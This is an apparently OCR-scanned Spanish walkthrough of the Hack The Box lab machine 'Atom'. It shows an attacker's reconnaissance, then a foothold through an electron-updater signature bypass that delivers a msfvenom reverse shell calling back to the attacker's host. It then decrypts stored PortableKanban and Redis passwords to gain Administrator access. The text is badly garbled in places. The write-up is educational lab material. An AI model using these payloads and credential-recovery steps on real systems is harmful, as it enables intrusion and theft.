!
v.\

!

\ ]
Ny

i/\, Maquina Atom

" 17 Apr 2021 -
| - T = r*-
b [ l :
f l
'!
y i
lv

04 Noviembre 2023

Hack The Box
Creado por: dandy_loco

HACKTHEBOX


https://dandyloco.github.io/

1.Enumeracion

Realizamos un PING a la mdaquina victima para comprobar su TTL. A partir del valor
devuelto, nos podemos hacer una idea del sistema operativo que tiene. En este caso
podemos deducir que se trata de una maquina Windows.

/home/kali
1ng 1 10.10.10.237
PING 10.10.10.237 (10.10.10.237) 56(84) bytes of data.
64 bytes from 10.10.10.237: icmp_seqg=1 ttl=127 time=59.7 ms

— 10.10.10.237 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 59.734/59.734/59.734/0.000 ms

Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes
servicios y versiones asociados.

1. # Nmap 7.94 scan initiated Wed Nov 1 ©8:03:05 2023 as: nmap -sCV -p 80,135,443,445,5985,6379 -n -Pn -
vvv -oN targeted 10.10.10.237
Nmap scan report for 10.10.10.237
Host is up, received user-set (0.036s latency).
Scanned at 2023-11-01 ©8:03:07 CET for 59s

PORT STATE SERVICE REASON VERSION

80/tcp open http syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| _http-title: Heed Solutions

| _http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27

10. | http-methods:

11. | Supported Methods: OPTIONS HEAD GET POST TRACE

12. |_ Potentially risky methods: TRACE

13. 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

14. 443/tcp open ssl/http syn-ack ttl 127 Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
15. |_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27

16. |_ssl-date: TLS randomness does not represent time

17. ssl-cert: Subject: commonName=localhost
18. Issuer: commonName=localhost

19. Public Key type: rsa

20. Public Key bits: 1024

|
|
|
|
21. | Signature Algorithm: shalWithRSAEncryption
I
|
|

22. Not valid before: 2009-11-10T23:48:47

23. Not valid after: 2019-11-08T723:48:47

24. MD5: a0a4:4cc9:9e84:b261:9e63:919%e:d229:deed

25. SHA-1: b@23:8c54:7a90:5bfa:119c:4e8b:acca:eacf:3649:1ff6

. | MIIBnzCCAQgCCQC1x1LIh4G1AzANBgkqhkiGOwOBAQUFADAUMRIWEAYDVQQDEwW1S
28. b2NhbGhvc3QwHhcNMDkxMTEwMjMOODQ3WhcNMTkxMTA4MjMOODQ3WjAUMRIWEAYD
29. | VQQDEwlsb2NhbGhvc3QwgZ8wDQYJIKoZIhvcNAQEBBQADEYOAMIGIAOGBAMELRYT]
30. 7KONg2pt51+adRAj4pCdoGOVjx1BmljVnGOMW30GkHNMw9ajibh1vB6UfHxu4630

|
|
|
|
31. | J1wlLxgxq+Q8y/rPEehAjBCspKNSq+bMvZhD4p8HNYMRrKFfjZzv3ns1IItw46kgT
|
|
|
|

32. gDpA11cMRzVGPXFimu5TnWMOZ300yaQe/xntAgMBAAEWDQYJKoZIhvcNAQEFBQAD
33. gYEAavHzSWz5umhfb/MnBMa5DL2VNzS+9whmmpsDGEG+uROkM1W2GQIdVHHITyFd
34. aHXzgVIBQcWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpmOVgDFwpfFYuufBL
35. VVNbLkKxbK2XwUvu@RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE=

36, |_----- END CERTIFICATE-----

37. | http-methods:

38. | Supported Methods: OPTIONS HEAD GET POST TRACE
39. |_ Potentially risky methods: TRACE

40. | tls-alpn:

41. |_ http/1.1

42. | _http-title: Heed Solutions
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43.
44,
45.
46.
a7.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.

445/tcp open V€ | syn-ack ttl 127 Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

| _http-server-header: Microsoft-HTTPAPI/2.0

| _http-title: Not Found

6379/tcp open redis syn-ack ttl 127 Redis key-value store

Service Info: Host: ATOM; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...

Check 1 (port 38781/tcp): CLEAN (Timeout)

Check 2 (port 31595/tcp): CLEAN (Timeout)

Check 3 (port 39922/udp): CLEAN (Timeout)

Check 4 (port 37474/udp): CLEAN (Timeout)

0/4 checks are positive: Host is CLEAN or ports are blocked
smb2-security-mode:

3:1:1:

Message signing enabled but not required

smb-os-discovery:

0S: Windows 10 Pro 19042 (Windows 10 Pro 6.3)

OS CPE: cpe:/o:microsoft:windows_10:: -

Computer name: ATOM

NetBIOS computer name: ATOM\x00

Workgroup: WORKGROUP\x00

System time: 2023-11-01T00:03:30-07:00
smb2-time:

date: 2023-11-01T07:03:27

start_date: N/A
smb-security-mode:

account_used: guest

authentication_level: user

challenge_response: supported

message_signing: disabled (dangerous, but default)
_clock-skew: mean: 2h20m@2s, deviation: 4h@2m31s, median: 1s

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov 1 ©8:04:06 2023 -- 1 IP address (1 host up) scanned in 61.70 seconds

Empezamos revisando el servicio SMB con smbclient.

/home/kali/HTB/Atom
-L 10.10.10.237 -N

Sharename Type Comment

ADMINS Disk Remote Admin

Disk Default share
IPC Remote IPC
Software_Updates Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.237 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
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Analizamos el contenido de la carpeta Software_Updates Disk.

/home/kali/HTB/Atom
//10.10.10.237/Software_Updates Disk -N
Try "help" to get a list of possible commands.
smb: \> dir
Wed Nowv 08:25:48
Wed Nowv 08:25:48

Wed Nov P8:25:48
Wed Nov 08:25:48
Fri Apr 13:18:08

client2
client3
UAT _Testing_ Procedures.pdf 3520

0
. 0
clientl ® Wed Nov 08:25:48
0
0
2

4413951 blocks of size 4096. 1371549 blocks available
smb: \> |

Los directorios clientX estan vacios. Por lo que nos descargamos el fichero
UAT Testing_Procedures.pdfy lo abrimos para ver su contenido.

Heedv1.0

Internal QA Documentation

What is Heed ?

Maote taking apgplication built with electron-builder which helps users in taking important

noles,

Features ?

Wary limited at the moment. There's no server interaction when creating notes. So
currendly i jusl acts as a one-tier thick cient application. We are |Jla,||||ir'g Bo monee il oA

full fledged two-tier architecture sometime in the future releasss

What about QA ?

We follow the below process before releasing our products.
1. Buald and install the apolicabon 10 make Sung il works as we expect il 10 be
2. Make sure that the update server running i in a private hardened instance. To
Indtiate the QA process, just place the updates In one of the "client” folders, and

the appropriate CA team will test i to ensure it finds an update and installs it

cormecily,
3. Follow the checklist to see if all given features are working as expected by the

developer
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Sacamos varias cosas interesantes de dicho documento:
e Hablan de una aplicacién creada con electron.

éQué es electron?
Electron es un framework para JavaScript que permite el desarrollo de aplicaciones
enriquecidas de escritorio mediante el uso de tecnologias web. Esta desarrollado por
GitHub (lo que garantiza revisiones constantes), es de cddigo abierto y
multiplataforma (funciona bajo Linux, Mac y Windows). Electron esta basado en io.js
y funciona bajo un subconjunto minimo de librerias de Chromium.

e Parece que un equipo de QA, tomara el contenido de las carpetas “client” que
vimos anteriormente en la enumeracion del servicio SMB, y comprobara si se trata
de una actualizacién, aplicandola en caso afirmativo.

De momento, no sabemos de qué aplicacion se trata, asi que seguimos enumerando.
Analizamos las tecnologias que usa el servicio web que corre por el puerto 80.

ntent

ache[2.4.46], Bootstrap, Country[RESERVED][ ], Email[NrR3boot@atom.htb], HTMLS, HTTPS L 1, 1P[10.10.10.237], OpensSL[1.1.1j], PHP[7.3.27], Seript, Title[H

Con NMAP observamos que el puerto HTTPS (TCP/443) estaba abierto. Analizamos el
certificado por si obtenemos algin subdominio. No obtenemos nada de interés.

/home/kali/HTB/Atom
s_client } t 10.10.10.237:443
CONNECTED( 00000003 )
Can't use SSL_get_servername
depth=0 CN = localhost
verify error:num=18:self-signed certificate
verify return:1
= localhost
ror:n 10:certificate has expired
v 8 23:48:47 2019 GMT
rn:1
depth=0 C
notAfter=Nov 8 23:48:47 2019 GMT
verify return:1
Certificate chain
® s:CN = localhost
3¢ calhost
a:PKEY: rsaEncryption, 1024 (bit); sigalg: RSA-SHAl
v:NotBefore: Nov 10 23:48:47 2009 GMT; NotAfter: Nov 8 23:48:47 2019 GMT
Server certificate
BEGIN CERTIFICATE
MIIBnzCCAQECCQC1x1LIh4G1AZANBgkghkiGO9wOBAQUFADAUMRIWEAYDVQQDEWLS
b2NhbGhvc3QwHhcNMDkxMT EwMjM@ODQ3WhcNMTkxMTA4MiMOODQ3WjAUMRIWEAYD
W 2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQAD: AMIGJAOGBAMELlQyf )
1+adRAj4pCdoGOVjx1BmljVnGOMW30GkHNMw9ajibh1vB6UfHXu4630
xq+Q8y/rPEehAjBCSpKNSq+bMvZhD4p8HNYMRYKFfjZzv3ns1IItws6kgT
ZVGPXFimu5TnWMOZ300yaQ0/xntAgMBAAEWDQY JKoZIhvcNAQEFBQAD
umhfb/MnBMa5DL2VNzS+9whmmpsDGEG+uROkM1W2GQIdVHHITyFd
aHXzgVJIBQcWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpmOVaDFwpfFYuufBL
VVNbLKKXxbK2XwUvu@RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE=
END CERTIFICATE
subject=CN = localhost
issuer=CN = localhost
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Analizamos las tecnologias que usa el servicio web que corre por el puerto 443.

pensSSL[1.1.1j], PHP[7.3.27], Script, Title[

Detectamos un correo electrdnico, bajo el dominio atom.htb. Modificamos nuestro
fichero /etc/hosts y volvemos a analizar ambos puertos con whatweb por si se esta aplica
virtual hosting, pero obtenemos la misma informacion.

File: fetc/hosts

Consultamos con nuestro navegador el servicio web, y analizamos las tecnologias usadas
apoyandonos en el plugin wappalyzer, por si nos diera alguna informacion adicional a
whatweb.

Web servers Operating systems
Apache HTTP B Wwindows Server
Server

Programming languages Web server extensions

s PHP 7327 OpenSSL 1.1.1]

Ul frameworks

4 Bootstrap so0

Con nmap, realizamos una enumeracion rapida de directorios del servicio web, pero no
encontramos nada de interés.

~kali/HTB/Atom/content
t http-enum
3-11-05 @8:11 CET

PORT STATE SERVICE

80/tcp open http

| http-enum:

| fic /: Potentially i r ing folder w/ directory listing

|_  /images/: Potentially interesting directory w/ listing on 'apache/2.4.46 (win64) openssl/1.1.1j php/7.3.27°

Nmap done: 1 IP address (1 host up) scanned in 11.75 seconds
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Vemos que la web ofrece la descarga de una aplicacién para Windows (para Linux y Mac
aun no esta disponible).

— A

Download for Mac i
Download for Windows Download for Linux

Antes de empezar a investigar la aplicacion, recordamos que con NMAP descubrimos que
el puerto TCP/6379 estaba abierto. Normalmente, se trata de Redis.

¢Qué es Redis?
Redis es un motor de base de datos en memoria, basado en el almacenamiento en

tablas de hashes pero que opcionalmente puede ser usada como una base de datos
durable o persistente.

Intentamos conectarnos al servicio de Redis, para realizar una enumeracion, pero de
momento no es posible al requerir de autenticacion.

/home/kali/HTB/Atom
redis-c 10.10.10.237
10.10.10.237:6379> info

NOAUTH Authentication required.
10.10.10.237:6379> I
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2. Analisis de
vulnerabilidades

Anteriormente vimos la existencia de un recurso, en la que un equipo de QA analizaba su
contenido. Quiza pueda aplicarse un ataque de fichero SCF.

|1. https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/

Creamos un fichero llamado pwned.scf y lo subimos a los directorios “client”.

File: pwned.scf

IconFile=%\)
REELLEND

Al mismo tiempo nos ponemos en escucha con impacket-smbserver para intentar
obtener el hash de usuario, al que intentar descifrar posteriormente por fuerza bruta. Sin
embargo, no parece funcionar.

fhome/kali
Frmelen |

Impacket v@.11.@ - Copyright 2@

*]
*]

SALTBFGEEL1SS V!
Callback ad r 31610-9 46C3FBTE345A V:
Config file r
Config file
Config file

] el el el

[*
[*
[*
[*
|

Cambiamos el vector de ataque y realizamos un andlisis de la aplicacion que ofrece la
web para su descarga en Windows. Nos descargamos la aplicacién y descomprimimos el
fichero.

|1. 7z e heed_setup_v1.0.0.zip

Nos genera un fichero llamado heedvl Setup 1.0.0.exe, que volvemos a intentar
descomprimir.

|1. 7z e heedvl\ Setup\ 1.0.0.exe
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Entre los ficheros obtenidos, encontramos app-64.7z. Descomprimimos ese fichero
también.

|1. 7z x app-64.7z

Revisamos los ficheros y directorios que componen la aplicacién y llegamos a la carpeta
resources que parece interesante.

~kali/Downloads
| FEesources
70

296k
114k

En el fichero app-update.yml obtenemos una url. Lamentablemente, nos lleva al mismo
sitio web que revisamos anteriormente.

File: app-update.yml

También encontramos los ficheros app.asar y electron.asar.

éQué es la extension asar?
Es un formato simple y extenso de archivo, disenado para las aplicaciones de Electron.

https://dandyloco.github.io/ 9 ©Dandy_loco



https://dandyloco.github.io/

3. Explotacion y acceso.

Podemos extraer el cddigo de app.asar con el siguiente comando, tal y como podemos
ver en el siguiente enlace:

|1. npx asar extract app.asar unpackedcopy

En el fichero principal main.js, observamos que mencionan electron-updater.

! main.js

Haciendo una busqueda en Internet vemos que se trata de un modulo que se encarga de

actualizar la aplicacion. Buscamos si tenemos algun exploit disponible que nos sirva para
ganar acceso.

GO gle electron-updater exploit

Videos Imagenes Noticias Libros Maps Vuelos Finance

Aproximadamente 78.000 resultados (0,23 segundos)

Sugerencia: Limita esta busqueda a resultados en espaiiol. Mas informacién sobre como
filtrar por idioma

Doyensec
https://blog.doyensec.com electr... - Traducir esta pagina

Signature Validation Bypass Leading to RCE In Electron- ...

24 feb 2020 — In particular, we identified a vulnerability that can be leveraged to bypass the
signature verification check hence leading to remote command ..

Lo primero que haremos es crear un fichero malicioso, que nos proporcione una reverse
shell, y lo llamaremos s'hell.exe. La comilla es importante, dado que provocard que rompa

el programa electron-updater, como hemos podido leer en el articulo anterior.
|1. msfvenom -p msfvenom -p windows/shell reverse_tcp LHOST=10.10.14.2 LPORT=443 -f exe > "s'hell.exe" |

Ahora creamos nuestro fichero latest.yml. El sha512 es importante que lo completemos,
ya que realiza una validacién con él.
|1. sha512sum s\'hell.exe |

https://dandyloco.github.io/ 10
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File: latest.yml

Ahora, subimos el fichero latest.yml a una de las carpetas client accesibles desde el
servicio SMB, servimos el fichero s'hell.exe y nos ponemos en escucha con netcat.

kali/i tom/content —
3 s =

help” to al le comma [sudo] rd for 8 ord for kali:

cd ¢ al /home/lcali
HTB/Atom/content

ml (1.4 kb/s) e 1.4 kb/s)

/home/kali/HTB/Aton/content 1 . [10.10.10.237] 56089

ge File not foun

10.10.10 5/ 15 lockmap HTTP/
1.17 404 -
10.10.10 5/Nov. "Gl exe HTTP/1.1" 20

4. Escalada de privilegios

Comprobamos que ya estamos en la maquina victima.

ipconfig

Windows IP Config

Address.
Subnet
ault

Revisamos nuestros privilegios, pero no vemos nada de lo que a priori podamos
aprovecharnos.

whoami /priv
PRIVILEGES INFORMATION

scription

Shut down the system Disabled
Enabled

ion Disabled

Disabled

Disabled
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c:ZUsershjason\Downloads>dir
dir

Volume in drive € has no label.
Volume Serial Number is 979

8:08 AM

e AM -
node_modules

PortableKanban

@ bytes

es free

¢Qué es PortableKanban?

Portable Kanban es un Gestor de Tareas Personal creado por Dmitry Ivanov. Este
Portable Free Personal Electronic Kanban Software podria ser utilizado para ayudar a
programar y realizar un seguimiento de sus eventos o tareas diarias y para supervisar
la productividad de la asignacion.

Revisando el directorio, encontramos un fichero interesante Illamado
PortableKanban.cfg.

EM0Odh 731 9aVSeHamgK/n j 7RQLEMEYCUMBRN
Ti h:mi

Buscamos si para ese software existe alglin exploit. Precisamente, encontramos uno que
descifra las contrasenas.

/home/kali/HTB/Atom
PortableKan

Exploit Title

ban 4 5 36 - Encrypted Password Retrieval windows/local/49409.py

Shellcodes: No Results

El exploit original solicita como parametro el fichero pk3 (donde supuestamente se
alamcena las credenciales guardadas). En nuestro caso, no disponemos de dicho fichero.
Por tanto, modificamos el script, para que traduzca la contrasefia que vimos en el fichero
PortableKanban.cfg.
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).decode( "utf-8")

Ejecutamos el exploit y obtenemos una contrasefia.

/home/kali/HTB/Atom/content
exploit.py
kidvscat_yes_kidvscat

|1. kidvscat_yes kidvscat |

Intentamos usar esa contrasefia, para autenticarnos en el servicio de Redis y vemos que
funciona.

/home/kali/HTB/Atom/content
1@.1@.1a.
10.10.10.237:63 scat_yes_kidvscat
oK
18.1@.18.237:63

El acceso mediante contrasefia se ha configurado en el fichero redis.windows-
service.conf comopodemos ver.

> type redis.windows-service.conf | select-string "kidvscat_yes_kidvscat”
ce.conf select-string "kidvscat_yes_kidvscat”

yes_kidvscat
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Obtenemos una contraseiia, que nos resulta familiar a la usada en el exploit de
PortableKanban. Probamos a intentar descifrarla de la misma manera.

/home/kali/HTB/Atom/content
exploit.py

kidvscat_admin_@123

| 1. kidvscat_admin_@123

Comprobamos que la credencial obtenida es valida.

/home/kali/HTB/Atom/content
smb 10.10.10.237 Administrator ) "kidvscat_admin_gl23
10.10.1@.237 445 ATOM Windows 1@ Pro 19042 x64 (name:ATOM) (domain:ATOM) (signing:False) (SMB
v1:True)
10.10.1@.237 445 ATOM [+] ATOM\Administrator:kidvscat_admin_@123 (Pwn3d!)

Ahora, solo tenemos que conectarnos con evil-winrm, para ganar acceso como
administrador.

/home/kali/HTB/Atom/content

Administrator -i 10.10.10.237

Warning: pte path completions is disabled due to ruby limitation: quoting_detection_proc() function is
unimplemented on this machine

PS C:\Users\Administrator\Documents> whoami
atom\administrator
PS C:\Users\Administrator\Documents> i
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